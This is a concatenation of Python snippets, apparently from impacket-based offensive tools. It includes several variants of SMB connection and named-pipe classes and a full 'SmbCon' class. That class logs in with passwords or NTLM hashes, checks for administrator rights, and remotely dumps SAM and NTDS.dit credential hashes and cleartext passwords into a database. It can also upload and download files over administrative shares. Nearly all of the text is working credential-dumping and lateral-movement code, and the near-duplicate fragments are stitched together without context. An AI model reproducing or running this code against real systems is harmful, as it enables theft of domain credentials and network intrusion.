def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60): try: smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) except Exception as exc: LOG.debug("SMB connection to %r on port 445 failed," " trying port 139 (%s)", host, exc) try: smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139) except Exception as exc: LOG.debug("SMB connection to %r on port 139 failed as well (%s)", host, exc) return None, None dialect = {SMB_DIALECT: "SMBv1", SMB2_DIALECT_002: "SMBv2.0", SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0") # we know this should work because the WMI connection worked try: smb.login(username, password, '', lm_hash, ntlm_hash) except Exception as exc: LOG.debug("Error while logging into %r using user: %s, password: '******', LM hash: %s, NTLM hash: %s: %s", host, username, password, lm_hash, ntlm_hash, exc) return None, dialect smb.setTimeout(timeout) return smb, dialect
class Pipes(Thread): def __init__(self, transport, pipe, permissions, TGS=None, share=None): Thread.__init__(self) self.server = 0 self.transport = transport self.credentials = transport.get_credentials() self.tid = 0 self.fid = 0 self.share = share self.port = transport.get_dport() self.pipe = pipe self.permissions = permissions self.TGS = TGS self.daemon = True def connectPipe(self): try: lock.acquire() global dialect self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials self.server.login(user, passwd, domain, lm, nt) lock.release() self.tid = self.server.connectTree('IPC$') self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) self.server.setTimeout(1000000) except: print "[!] Something wen't wrong connecting the pipes(%s), try again" % self.__class__
class Pipes(Thread): def __init__(self, transport, pipe, permissions, share=None): Thread.__init__(self) self.server = 0 self.transport = transport self.credentials = transport.get_credentials() self.tid = 0 self.fid = 0 self.share = share self.port = transport.get_dport() self.pipe = pipe self.permissions = permissions self.daemon = True def connectPipe(self): try: lock.acquire() global dialect #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS) else: self.server.login(user, passwd, domain, lm, nt) lock.release() self.tid = self.server.connectTree('IPC$') self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) self.server.setTimeout(1000000) except: logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
def new_smb_connection(host, username, password, lm_hash="", ntlm_hash="", timeout=60): try: smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) except Exception as exc: LOG.debug( "SMB connection to %r on port 445 failed," " trying port 139 (%s)", host, exc) try: smb = SMBConnection("*SMBSERVER", host.ip_addr, sess_port=139) except Exception as exc: LOG.debug( "SMB connection to %r on port 139 failed as well (%s)", host, exc) return None, None dialect = { SMB_DIALECT: "SMBv1", SMB2_DIALECT_002: "SMBv2.0", SMB2_DIALECT_21: "SMBv2.1", }.get(smb.getDialect(), "SMBv3.0") # we know this should work because the WMI connection worked try: smb.login(username, password, "", lm_hash, ntlm_hash) except Exception as exc: LOG.debug( "Error while logging into %r using user: %s, password (SHA-512): '%s', " "LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s", host, username, Configuration.hash_sensitive_data(password), Configuration.hash_sensitive_data(lm_hash), Configuration.hash_sensitive_data(ntlm_hash), exc, ) return None, dialect smb.setTimeout(timeout) return smb, dialect
class Pipes(Thread): def __init__(self, transport, pipe, permissions, share=None): Thread.__init__(self) self.server = 0 self.transport = transport self.credentials = transport.get_credentials() self.tid = 0 self.fid = 0 self.share = share self.port = transport.get_dport() self.pipe = pipe self.permissions = permissions self.daemon = True def connectPipe(self): try: lock.acquire() self.server = SMBConnection( '*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port) user, passwd, domain, lm, nt, _, _, _ = self.credentials self.server.login(user, passwd, domain, lm, nt) lock.release() self.tid = self.server.connectTree('IPC$') self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid, self.pipe, self.permissions, creationOption=0x40, fileAttributes=0x80) self.server.setTimeout(1000000) except Exception as e: # traceback.print_exc() logger.error('Named pipe connection error: %s (%s)' % (str(e), self.__class__))
class Pipes(Thread): def __init__(self, transport, pipe, permissions, share=None): Thread.__init__(self) self.server = 0 self.transport = transport self.credentials = transport.get_credentials() self.tid = 0 self.fid = 0 self.share = share self.port = transport.get_dport() self.pipe = pipe self.permissions = permissions self.daemon = True def connectPipe(self): try: lock.acquire() global dialect #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) self.server = SMBConnection(self.transport.get_smb_connection().getRemoteName(), self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) else: self.server.login(user, passwd, domain, lm, nt) lock.release() self.tid = self.server.connectTree('IPC$') self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) self.server.setTimeout(1000000) except: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
class SmbCon(Connector): def __init__(self, args, loggers, host, db): Connector.__init__(self, args, loggers, host) self.auth = False self.con = False self.client = ''.join( [choice(ascii_letters + digits) for x in range(7)]) self.smbv1 = False self.os = '' self.admin = False self.signing = False self.os_arch = '0' self.remote_ops = None self.bootkey = None self.db = db self.port = 445 ######################### # Session Management ######################### def create_smb_con(self): # Create SMB Con if self.smb_connection(): self.host_info() try: # SMB Auth self.con.login(self.username, self.password, self.domain, lmhash=self.lmhash, nthash=self.nthash) self.auth = True self.host_info() self.isAdmin() self.update_db() except Exception as e: raise Exception(str(e)) else: raise Exception('Connection to Server Failed') def update_db(self): self.db.update_host(self.host, self.ip, self.domain, self.os, self.signing) if self.username and self.password or self.username and self.hash: self.db.update_user(self.username, self.password, self.domain, self.hash) if self.admin: self.db.update_admin(self.username, self.domain, self.host) def logoff(self): self.con.logoff() def close(self): try: self.con.logoff() except: pass try: self.con.close() except: pass ######################### # SMB Connection ######################### def smb_connection(self): if self.smbv1_con(): return True elif self.smbv3_con(): return True return False def smbv1_con(self): try: self.con = SMBConnection(self.client, self.host, sess_port=self.port, preferredDialect=SMB_DIALECT, timeout=int(self.timeout)) self.smbv1 = True self.con.setTimeout(self.timeout) return True except Exception as e: return False def smbv3_con(self): try: self.con = SMBConnection(self.client, self.host, sess_port=self.port, timeout=int(self.timeout)) self.con.setTimeout(self.timeout) return True except Exception as e: return False ######################### # Authentication (NOT IN USE) ######################### def set_host(self, local_auth): # Get domain for authentication purposes if local_auth: self.domain = self.con.getServerName( ) + "." + self.con.getServerDNSDomainName() else: self.domain = self.con.getServerDNSDomainName() # Backup for Linux/Unix systems if not self.domain: self.domain = self.con.getServerName( ) + "." + self.con.getServerDNSDomainName() ################################ # Enumerate Host information ################################ def host_info(self): try: self.srvdomain = self.get_domain() self.host = self.get_hostname() self.os = self.con.getServerOS() self.signing = self.con.isSigningRequired() arch = self.get_os_arch() if arch == 32 or arch == 64: self.os_arch = " x{}".format(str(arch)) else: self.os_arch = '' except Exception as e: self.logger.debug("SMB Host Info: {}".format(str(e))) def get_os_arch(self): # Credit: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py # Credit: https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_19/examples/getArch.py try: stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host) transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() dce.connect() try: dce.bind( MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) except DCERPCException as e: if str(e).find('syntaxes_not_supported') >= 0: dce.disconnect() return 32 else: dce.disconnect() return 64 except: return 0 def get_hostname(self): if self.con.getServerDNSDomainName() and not self.local_auth: if self.con.getServerName().lower( ) != self.con.getServerDNSDomainName().lower(): return (self.con.getServerName() + "." + self.con.getServerDNSDomainName()) else: return self.con.getServerName() else: return self.con.getServerName() def get_domain(self): try: return self.con.getServerDomain() except: return self.getServerName() def list_shares(self): # name=share['shi1_netname'][:-1], description=share['shi1_remark'] return self.con.listShares() ################################ # Host/Domain Password Policy ################################ def password_policy(self): SAMRDump(self).dump(self.host) ################################ # List Shares & Check Share Permissions ################################ def read_perm(self, share): try: # Silently list path to check access self.list_path(share, False) return True except: return False def write_perm(self, share): try: # Create dir to check write access tmp = '.' + ''.join( [choice(ascii_letters + digits) for x in range(5)]) self.con.createDirectory(share, tmp) self.con.deleteDirectory(share, tmp) return True except Exception as e: return False def list_path(self, share, path): if not path: path = '/*' return self.con.listPath(share, path) ################################ # Check if User Admin ################################ def isAdmin(self): rpctransport = SMBTransport(self.host, self.port, r'\svcctl', smb_connection=self.con) dce = rpctransport.get_dce_rpc() try: dce.connect() except: pass else: dce.bind(scmr.MSRPC_UUID_SCMR) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx ans = scmr.hROpenSCManagerW(dce, '{}\x00'.format(self.host), 'ServicesActive\x00', 0xF003F) self.admin = True return True except scmr.DCERPCException as e: pass return False ################################ # Dump SAM / LSA # Methods were modified from: # https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py # https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py ################################ def enable_remoteops(self): if self.remote_ops is not None and self.bootkey is not None: return try: self.remote_ops = RemoteOperations(self.con, False, None) self.remote_ops.enableRegistry() self.bootkey = self.remote_ops.getBootKey() except Exception as e: self.logger.fail('RemoteOperations failed for {}: {}'.format( self.host, str(e))) def sam(self): def add_sam_hash(sam_hash, host): self.logger.success([self.host, self.ip, "SAM HASH", sam_hash]) username, _, lmhash, nthash, _, _, _ = sam_hash.split(':') self.db.update_user(username, '', host, "{}:{}".format(lmhash, nthash)) add_sam_hash.added_to_db += 1 try: add_sam_hash.added_to_db = 0 self.enable_remoteops() if self.remote_ops and self.bootkey: SAMFileName = self.remote_ops.saveSAM() SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash( secret, self.host)) SAM.dump() except Exception as e: self.logger.debug('SAM Extraction Failed for {}: {}'.format( self.host, str(e))) if add_sam_hash.added_to_db > 0: self.logger.success([ self.host, self.ip, "SAM HASH", '{} NTLM hashes added to the database'.format( add_sam_hash.added_to_db) ]) try: self.remote_ops.finish() SAM.finish() except Exception as e: self.logger.debug( ["SAM", "Error calling remote_ops.finish(): {}".format(e)]) def ntds(self): def add_ntds_hash(ntds_hash): if ntds_hash.find('$') == -1: if "CLEARTEXT" in ntds_hash: try: add_ntds_hash.clear_text += 1 username, password = ntds_hash.split(":CLEARTEXT:") domain, username = username.split("\\") self.db.update_user(username, '', domain, password) add_ntds_hash.added_to_db += 1 except: self.logger.fail( "Error adding clear text cred to db: {}".format( ntds_hash)) else: if ntds_hash.find('\\') != -1: domain, hash = ntds_hash.split('\\') else: domain = self.domain hash = ntds_hash try: username, _, lmhash, nthash, _, _, _ = hash.split(':') parsed_hash = ':'.join((lmhash, nthash)) if validate_ntlm(parsed_hash): add_ntds_hash.ntds_hashes += 1 self.db.update_user(username, '', domain, "{}:{}".format(lmhash, nthash)) add_ntds_hash.added_to_db += 1 except: self.logger.debug( "Skipping non-NTLM hash: {}".format(ntds_hash)) else: self.logger.debug("Skipping computer account") try: self.enable_remoteops() use_vss_method = self.args.use_vss NTDSFileName = None add_ntds_hash.ntds_hashes = 0 add_ntds_hash.clear_text = 0 add_ntds_hash.added_to_db = 0 outfile = os.path.join(os.path.expanduser('~'), '.ar3', 'workspaces', self.args.workspace, self.domain) if self.remote_ops and self.bootkey: if self.args.ntds is 'vss': NTDSFileName = self.remote_ops.saveNTDS() use_vss_method = True NTDS = NTDSHashes(NTDSFileName, self.bootkey, isRemote=True, history=False, noLMHash=True, remoteOps=self.remote_ops, useVSSMethod=use_vss_method, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=outfile, justUser=None, printUserStatus=False, perSecretCallback=lambda secretType, secret: add_ntds_hash(secret)) self.logger.info([ self.host, self.ip, "NTDS", 'Dumping NTDS.dit, this could take a minute' ]) NTDS.dump() self.logger.success([ self.host, self.ip, "NTDS", '{} NTLM hashes and {} clear text passwords collected'. format(add_ntds_hash.ntds_hashes, add_ntds_hash.clear_text) ]) self.logger.success([ self.host, self.ip, "NTDS", '{} creds added to the database'.format( add_ntds_hash.added_to_db) ]) self.logger.info([ self.host, self.ip, "NTDS", 'Hash files located at: {}'.format(outfile) ]) else: raise Exception("RemoteOps and BootKey not initiated") except Exception as e: self.logger.fail('NTDS Extraction Failed for {}: {}'.format( self.host, str(e))) try: self.remote_ops.finish() NTDS.finish() except Exception as e: self.logger.debug( ["NTDS", "Error calling remote_ops.finish(): {}".format(e)]) ################################ # File Interaction ################################ def createFile(self, filename, data, share='C$'): # Create new file & write data, Not In Use f = remotefile.RemoteFile(self.con, filename, share) f.create() f.write(data) f.close() def uploadFile(self, local_file, location, share='C$'): f = open(local_file) self.con.putFile(share, location, f.read) f.close() def downloadFile(self, remote_file, location='ar3_download', share='C$'): f = open(location, 'wb') self.con.getFile(share, remote_file, f.write) f.close() return def deleteFile(self, remote_file, share='C$'): self.con.deleteFile(share, remote_file)
class SmbCon(Connector): def __init__(self, args, loggers, host, db): Connector.__init__(self, args, loggers, host) self.auth = False self.con = False self.client = ''.join( [choice(ascii_letters + digits) for x in range(7)]) self.smbv1 = False self.os = '' self.admin = False self.signing = False self.os_arch = '0' self.remote_ops = None self.bootkey = None self.db = db self.port = 445 ######################### # Session Management ######################### def create_smb_con(self): # Create SMB Con if self.smb_connection(): self.host_info() try: # SMB Auth self.con.login(self.username, self.password, self.domain, lmhash=self.lmhash, nthash=self.nthash) self.auth = True self.host_info() self.isAdmin() self.update_db() except Exception as e: raise Exception(str(e)) else: raise Exception('Connection to Server Failed') def update_db(self): self.db.update_host(self.host, self.ip, self.domain, self.os, self.signing) if self.username and self.password or self.username and self.hash: self.db.update_user(self.username, self.password, self.domain, self.hash) if self.admin: self.db.update_admin(self.username, self.domain, self.host) def logoff(self): self.con.logoff() def close(self): try: self.con.logoff() except: pass try: self.con.close() except: pass ######################### # SMB Connection ######################### def smb_connection(self): if self.smbv1_con(): return True elif self.smbv3_con(): return True return False def smbv1_con(self): try: self.con = SMBConnection(self.client, self.host, sess_port=self.port, preferredDialect=SMB_DIALECT, timeout=int(self.timeout)) self.smbv1 = True self.con.setTimeout(self.timeout) return True except Exception as e: return False def smbv3_con(self): try: self.con = SMBConnection(self.client, self.host, sess_port=self.port, timeout=int(self.timeout)) self.con.setTimeout(self.timeout) return True except Exception as e: return False ######################### # Authentication (NOT IN USE) ######################### def set_host(self, local_auth): # Get domain for authentication purposes if local_auth: self.domain = self.con.getServerName( ) + "." + self.con.getServerDNSDomainName() else: self.domain = self.con.getServerDNSDomainName() # Backup for Linux/Unix systems if not self.domain: self.domain = self.con.getServerName( ) + "." + self.con.getServerDNSDomainName() ################################ # Enumerate Host information ################################ def host_info(self): try: self.srvdomain = self.get_domain() self.host = self.get_hostname() self.os = self.con.getServerOS() self.signing = self.con.isSigningRequired() arch = self.get_os_arch() if arch == 32 or arch == 64: self.os_arch = " x{}".format(str(arch)) else: self.os_arch = '' except Exception as e: self.logger.debug("SMB Host Info: {}".format(str(e))) def get_os_arch(self): # Credit: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py # Credit: https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_19/examples/getArch.py try: stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host) transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() dce.connect() try: dce.bind( MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) except DCERPCException as e: if str(e).find('syntaxes_not_supported') >= 0: dce.disconnect() return 32 else: dce.disconnect() return 64 except: return 0 def get_hostname(self): if self.con.getServerDNSDomainName() and not self.local_auth: if self.con.getServerName().lower( ) != self.con.getServerDNSDomainName().lower(): return (self.con.getServerName() + "." + self.con.getServerDNSDomainName()) else: return self.con.getServerName() else: return self.con.getServerName() def get_domain(self): try: return self.con.getServerDomain() except: return self.getServerName() def list_shares(self): # name=share['shi1_netname'][:-1], description=share['shi1_remark'] return self.con.listShares() ################################ # Host/Domain Password Policy ################################ def password_policy(self): SAMRDump(self).dump(self.host) ################################ # List Shares & Check Share Permissions ################################ def read_perm(self, share): try: # Silently list path to check access self.list_path(share, False) return True except: return False def write_perm(self, share): try: # Create dir to check write access tmp = '.' + ''.join( [choice(ascii_letters + digits) for x in range(5)]) self.con.createDirectory(share, tmp) self.con.deleteDirectory(share, tmp) return True except Exception as e: return False def list_path(self, share, path): if not path: path = '/*' return self.con.listPath(share, path) ################################ # Check if User Admin ################################ def isAdmin(self): rpctransport = SMBTransport(self.host, self.port, r'\svcctl', smb_connection=self.con) dce = rpctransport.get_dce_rpc() try: dce.connect() except: pass else: dce.bind(scmr.MSRPC_UUID_SCMR) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx ans = scmr.hROpenSCManagerW(dce, '{}\x00'.format(self.host), 'ServicesActive\x00', 0xF003F) self.admin = True return True except scmr.DCERPCException as e: pass return False ################################ # Dump SAM / LSA ################################ def enable_remoteops(self): # Source: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py if self.remote_ops is not None and self.bootkey is not None: return try: self.remote_ops = RemoteOperations(self.con, False, None) self.remote_ops.enableRegistry() self.bootkey = self.remote_ops.getBootKey() except Exception as e: self.logger.fail('RemoteOperations failed for {}: {}'.format( self.host, str(e))) def sam(self): try: self.enable_remoteops() def add_sam_hash(sam_hash, host_id): self.logger.success( [self.host, highlight("SAM HASH"), sam_hash]) username, _, lmhash, nthash, _, _, _ = sam_hash.split(':') self.db.update_user(username, '', host_id, "{}:{}".format(lmhash, nthash)) if self.remote_ops and self.bootkey: SAMFileName = self.remote_ops.saveSAM() SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash( secret, self.host)) SAM.dump() except Exception as e: self.logger.fail('SAM Extraction Failed for {}: {}'.format( self.host, str(e))) try: self.remote_ops.finish() except Exception as e: self.logger.debug( "Error calling remote_ops.finish() for {}: {}".format( self.host, str(e))) SAM.finish() ################################ # File Interaction ################################ def createFile(self, filename, data, share='C$'): # Create new file & write data, Not In Use f = remotefile.RemoteFile(self.con, filename, share) f.create() f.write(data) f.close() def uploadFile(self, local_file, location, share='C$'): f = open(local_file) self.con.putFile(share, location, f.read) f.close() def downloadFile(self, remote_file, location='ar3_download', share='C$'): f = open(location, 'wb') self.con.getFile(share, remote_file, f.write) f.close() return def deleteFile(self, remote_file, share='C$'): self.con.deleteFile(share, remote_file)